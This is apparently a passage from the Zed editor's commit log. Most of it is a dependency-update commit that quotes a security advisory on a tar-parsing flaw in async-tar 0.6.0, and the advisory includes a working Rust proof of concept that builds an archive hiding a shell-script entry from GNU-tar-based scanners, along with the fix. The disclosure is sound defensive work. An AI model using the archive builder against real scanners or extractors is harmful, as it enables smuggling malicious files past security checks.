B7,B8  two zero blocks (EOF)
```

GNU tar honours the `L` header's own declared size (1 block) for the
longname and
ignores the buffered PAX `size`, so it reads B3 as the longname, treats
B4 as the
file, and reads B5 as that file's opaque data. `async-tar` mis-applies
the PAX
`size` (2 blocks) to the `L` header, reads B3+B4 as the longname, lands
its cursor
on B5, parses it as a tar header, and extracts the smuggled
`hidden_payload.sh`
body (B6).

Tar-builder source (`mktar.rs`):

```rust
use std::io::Write;
const BLOCK: usize = 512;

fn octal(buf: &mut [u8], v: u64) {
    let s = format!("{:0width$o}", v, width = buf.len() - 1);
    let b = s.as_bytes();
    buf[..b.len()].copy_from_slice(b);
    buf[b.len()] = 0;
}

fn header(name: &[u8], size: u64, typeflag: u8) -> [u8; BLOCK] {
    let mut h = [0u8; BLOCK];
    let n = name.len().min(100);
    h[..n].copy_from_slice(&name[..n]);
    octal(&mut h[100..108], 0o644);
    octal(&mut h[108..116], 0);
    octal(&mut h[116..124], 0);
    octal(&mut h[124..136], size);
    octal(&mut h[136..148], 0);
    h[156] = typeflag;
    if typeflag == b'L' { h[257..265].copy_from_slice(b"ustar  \0"); }
    else { h[257..263].copy_from_slice(b"ustar\0"); h[263..265].copy_from_slice(b"00"); }
    for b in &mut h[148..156] { *b = b' '; }
    let sum: u32 = h.iter().map(|b| *b as u32).sum();
    h[148..156].copy_from_slice(format!("{:06o}\0 ", sum).as_bytes());
    h
}

fn pad(out: &mut Vec<u8>, len: usize) {
    let rem = len % BLOCK;
    if rem != 0 { out.extend(std::iter::repeat(0u8).take(BLOCK - rem)); }
}
fn pax_record(key: &str, val: &str) -> Vec<u8> {
    let mut len = key.len() + val.len() + 3;
    loop {
        let s = format!("{} {}={}\n", len, key, val);
        if s.len() == len { return s.into_bytes(); }
        len = s.len();
    }
}
fn name_block(name: &[u8]) -> Vec<u8> { let mut b = vec![0u8; BLOCK]; b[..name.len()].copy_from_slice(name); b }
fn write_block(out: &mut Vec<u8>, data: &[u8]) { out.extend_from_slice(data); pad(out, data.len()); }

fn build_malicious() -> Vec<u8> {
    let mut out = Vec::new();
    let gnu_name = b"GNU_SEES_THIS.txt";
    let spoof = (BLOCK * 2) as u64;
    let mut recs = Vec::new();
    recs.extend(pax_record("size", &spoof.to_string()));
    out.extend_from_slice(&header(b"./PaxHeaders/0", recs.len() as u64, b'x'));
    write_block(&mut out, &recs);
    out.extend_from_slice(&header(b"././@&#8203;LongLink", BLOCK as u64, b'L'));
    out.extend_from_slice(&name_block(gnu_name));                 // B3
    out.extend_from_slice(&header(b"placeholder_A", BLOCK as u64, b'0')); // B4
    let smuggled_body = b"#!/bin/sh\n# SMUGGLED ENTRY: invisible to a GNU-tar-based scanner\n".to_vec();
    out.extend_from_slice(&header(b"hidden_payload.sh", smuggled_body.len() as u64, b'0')); // B5
    write_block(&mut out, &smuggled_body);                        // B6
    out.extend(std::iter::repeat(0u8).take(BLOCK * 2));
    out
}

fn build_benign() -> Vec<u8> {
    let mut out = Vec::new();
    let mut recs = Vec::new();
    recs.extend(pax_record("path", "normal_file.txt"));
    out.extend_from_slice(&header(b"./PaxHeaders/0", recs.len() as u64, b'x'));
    write_block(&mut out, &recs);
    let body = b"plain benign content\n".to_vec();
    out.extend_from_slice(&header(b"normal_file.txt", body.len() as u64, b'0'));
    write_block(&mut out, &body);
    let body2 = b"second benign file\n".to_vec();
    out.extend_from_slice(&header(b"second.txt", body2.len() as u64, b'0'));
    write_block(&mut out, &body2);
    out.extend(std::iter::repeat(0u8).take(BLOCK * 2));
    out
}

fn main() {
    let a: Vec<String> = std::env::args().collect();
    let bytes = match a[1].as_str() { "malicious" => build_malicious(), "benign" => build_benign(), _ => std::process::exit(2) };
    std::fs::File::create(&a[2]).unwrap().write_all(&bytes).unwrap();
}
```

Consumer source (`main.rs`, mirrors a real `Archive::entries()`
extraction loop):

```rust
use async_tar::Archive;
use tokio::fs;
use tokio::io::AsyncReadExt;
use tokio_stream::StreamExt;

#[tokio::main(flavor = "multi_thread", worker_threads = 2)]
async fn main() {
    let args: Vec<String> = std::env::args().collect();
    let dest = std::path::PathBuf::from(&args[2]);
    fs::create_dir_all(&dest).await.unwrap();
    let bytes = fs::read(&args[1]).await.unwrap();
    let archive = Archive::new(std::io::Cursor::new(bytes));
    let mut entries = archive.entries().expect("entries()");
    let mut idx = 0usize;
    while let Some(entry) = entries.next().await {
        let mut file = match entry { Ok(f) => f, Err(e) => { println!("[async-tar] ERROR: {e}"); break } };
        let path_raw = file.path().expect("path").into_owned();
        let path_disp = path_raw.to_string_lossy().split('\u{0}').next().unwrap_or("").to_string();
        let hdr_size = file.header().size().unwrap_or(0);
        let mut out = dest.clone();
        for comp in std::path::PathBuf::from(&path_disp).components() {
            if let std::path::Component::Normal(p) = comp { out.push(p); }
        }
        let mut body = Vec::new();
        let read = file.read_to_end(&mut body).await.unwrap_or(0);
        if let Some(parent) = out.parent() { let _ = fs::create_dir_all(parent).await; }
        let _ = fs::write(&out, &body).await;
        let preview: String = body.iter().take(48)
            .map(|b| if b.is_ascii_graphic() || *b == b' ' { *b as char } else { '.' }).collect();
        println!("[async-tar] entry#{idx} path={:?} hdr_size={hdr_size} bytes_read={read} body=\"{preview}\"", path_disp);
        idx += 1;
    }
    println!("[async-tar] total entries surfaced: {idx}");
}
```

`Cargo.toml`:

```toml
[dependencies]
async-tar = { version = "=0.6.0", default-features = false, features = ["runtime-tokio"] }
tokio = { version = "1", features = ["rt-multi-thread", "macros", "io-util", "fs"] }
tokio-stream = "0.1"
futures = "0.3"
```

##### End-to-end reproduction

Reference parser: GNU tar 1.35. async-tar: the v0.6.0 crates.io release
linked by
the consumer binary above. Verbatim captured output:

```
$ cargo build --release        # links async-tar v0.6.0 from crates.io
   Compiling async-tar v0.6.0
   Compiling async-tar-consumer v0.1.0
    Finished `release` profile [optimized] target(s) in 10.12s

$ ./target/release/mktar malicious mal.tar
wrote 4608 bytes to mal.tar

##### ---- (A) GNU tar reference: list + extract ----
$ gtar tvf mal.tar ; echo "rc=$?"
-rw-r--r-- 0/0            1024 1970-01-01 08:00 GNU_SEES_THIS.txt
rc=0
$ gtar xf mal.tar -C /tmp/gnu_x ; echo "rc=$?"
rc=0
$ head -c 80 /tmp/gnu_x/GNU_SEES_THIS.txt
hidden_payload.sh

##### (GNU tar surfaces ONE file, 1024 bytes; its data is the opaque tar-header
#####  bytes of B5 — a GNU-tar-based scanner sees only benign noise.)

##### ---- (B) async-tar v0.6.0 consumer: extract ----
$ ./target/release/extract mal.tar /tmp/at_mal
[async-tar] entry#0 path="GNU_SEES_THIS.txt" hdr_size=65 bytes_read=1024 body="#!/bin/sh.# SMUGGLED ENTRY: invisible to a GNU-t"
[async-tar] total entries surfaced: 1
$ head -c 80 /tmp/at_mal/GNU_SEES_THIS.txt

#!/bin/sh
##### SMUGGLED ENTRY: invisible to a GNU-tar-based scanner
```

Same bytes, two parsers, different on-disk result: GNU tar writes a
1024-byte
benign blob; `async-tar` writes a 65-byte executable shell script that
the
reference parser never exposes as an entry. The smuggled `#!/bin/sh`
body is
content a GNU-tar-based scanner would never inspect.

Negative control — a benign archive (correct PAX usage: `x` applies
`path` to the
following file, no intermediary `L`):

```
$ ./target/release/mktar benign ben.tar
$ gtar tvf ben.tar ; echo "rc=$?"
-rw-r--r-- 0/0              21 1970-01-01 08:00 normal_file.txt
-rw-r--r-- 0/0              19 1970-01-01 08:00 second.txt
rc=0
$ ./target/release/extract ben.tar /tmp/at_ben
[async-tar] entry#0 path="normal_file.txt" hdr_size=21 bytes_read=21 body="plain benign content."
[async-tar] entry#1 path="second.txt" hdr_size=19 bytes_read=19 body="second benign file."
[async-tar] total entries surfaced: 2
```

GNU tar and `async-tar` produce identical entry lists and identical
on-disk files.
No smuggling. The differential is exclusive to the `x → L → file` desync
sequence.

##### Fix

Apply the buffered PAX records (and the `size`/`uid`/`gid` overrides)
only when
the raw header being sized is NOT itself an extension header. Skip the
override
for GNU longname (`L`), GNU longlink (`K`), and PAX local/global
(`x`/`g`) headers,
whose body length must come from their own declared size. This mirrors
the fix
adopted in the upstream tar-rs / tokio-tar lineage for the same defect
class.

```rust
    // when pax extensions are available, the size should come from there.
    let mut size = header.entry_size()?;

    // PAX extensions describe the NEXT file entry, not an intermediary
    // extension header. Applying a buffered PAX `size` to such an intermediary
    // header (L/K/x/g) advances the stream cursor by the wrong amount and
    // desyncs the parse.
    let entry_type = header.entry_type();
    let is_extension_header = entry_type.is_gnu_longname()
        || entry_type.is_gnu_longlink()
        || entry_type.is_pax_local_extensions()
        || entry_type.is_pax_global_extensions();

    // the size above will be overriden by the pax data if it has a size field.
    // same for uid and gid, which will be overridden in the header itself.
    if let Some(pax_extensions_data) = pax_extensions_data.filter(|_| !is_extension_header) {
        let pax = pax_extensions(pax_extensions_data);
        for extension in pax {
            // unchanged: same size/uid/gid override loop as before
        }
    }
```

Fix-verify, captured verbatim. The patched `async-tar` (guard added)
re-run
against the same `mal.tar`:

```
$ cargo build --release        # [patch.crates-io] async-tar = { path = "../async-tar-patched" }
   Compiling async-tar v0.6.0 (.../async-tar-patched)
   Compiling async-tar-consumer v0.1.0
    Finished `release` profile [optimized] target(s)
$ ./target/release/extract mal.tar /tmp/at_fix
[async-tar] entry#0 path="GNU_SEES_THIS.txt" hdr_size=512 bytes_read=1024 body="hidden_payload.sh..............................."
[async-tar] total entries surfaced: 1
$ head -c 80 /tmp/at_fix/GNU_SEES_THIS.txt
hidden_payload.sh
```

With the guard, `async-tar`'s view converges with GNU tar's: it surfaces
`GNU_SEES_THIS.txt` with the opaque B5 bytes (`hidden_payload.sh...`) as
data, and
no longer extracts the smuggled executable script. The benign control
still
produces the correct two-file output. The desync is eliminated.

##### Fix PR

A fix PR adding the `is_extension_header` guard to `poll_next_raw` in
`src/archive.rs` is opened from the advisory's temporary private fork
against this
repository. It carries the diff shown in the **Fix** section above (no
behavioural
change for well-formed archives; only intermediary `L`/`K`/`x`/`g`
headers stop
inheriting a following PAX `size`).

##### Credit

Reported by tonghuaroot.

#### Severity
- CVSS Score: 6.3 / 10 (Medium)
- Vector String:
`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N`

#### References
-
[https://github.com/dignifiedquire/async-tar/security/advisories/GHSA-35rm-7j9c-2f7m](https://redirect.github.com/dignifiedquire/async-tar/security/advisories/GHSA-35rm-7j9c-2f7m)
-
[https://github.com/advisories/GHSA-35rm-7j9c-2f7m](https://redirect.github.com/advisories/GHSA-35rm-7j9c-2f7m)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-35rm-7j9c-2f7m)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>dignifiedquire/async-tar (async-tar)</summary>

###
[`v0.6.1`](https://redirect.github.com/dignifiedquire/async-tar/compare/v0.6.0...v0.6.1)

[Compare
Source](https://redirect.github.com/dignifiedquire/async-tar/compare/v0.6.0...v0.6.1)

###
[`v0.6.0`](https://redirect.github.com/dignifiedquire/async-tar/releases/tag/v0.6.0):
- Tokio Support

[Compare
Source](https://redirect.github.com/dignifiedquire/async-tar/compare/v0.5.1...v0.6.0)

</details>

---

### Configuration

📅 **Schedule**: (in timezone America/New_York)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

Release Notes:

- N/A

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yNDIuMiIsInVwZGF0ZWRJblZlciI6IjQzLjI0Mi4yIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->

---------

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Co-authored-by: Kirill Bulatov <kirill@zed.dev>
2026-07-14 16:21:54 +00:00
Bennet Bo FennerandMartin Ye 75aeecfbf3 agent: Show title generation error in tooltip (#60982)
Closes #57117

<img width="305" height="84" alt="image"
src="https://github.com/user-attachments/assets/5626040c-5c3f-4f3f-8931-31331406015e"
/>

Release Notes:

- agent: Show actual error message when title generation fails

---------

Co-authored-by: Martin Ye <martin@zed.dev>
2026-07-14 15:48:02 +00:00
Mikayla Maki b4018f4c7e Open gitignored subdirectories as their own workspace (#60918)
# Objective

Let's git ignored directories be opened as their own project


## Solution

- Add an "ignored dir" carve out when checking project collision

## Testing

- Added tests

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [-] Unsafe blocks (if any) have justifying comments
- [-] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [-] Performance impact has been considered and is acceptable

---

Release Notes:

-
2026-07-14 15:34:30 +00:00
Cameron Mcloughlin fbe484282d agent: Sandbox DNS rebinding and redirect cleanup (#60941)
Tidies up the host resolution code a bit and closes some small gaps

---

Release Notes:

- N/A or Added/Fixed/Improved ...
2026-07-14 15:29:30 +00:00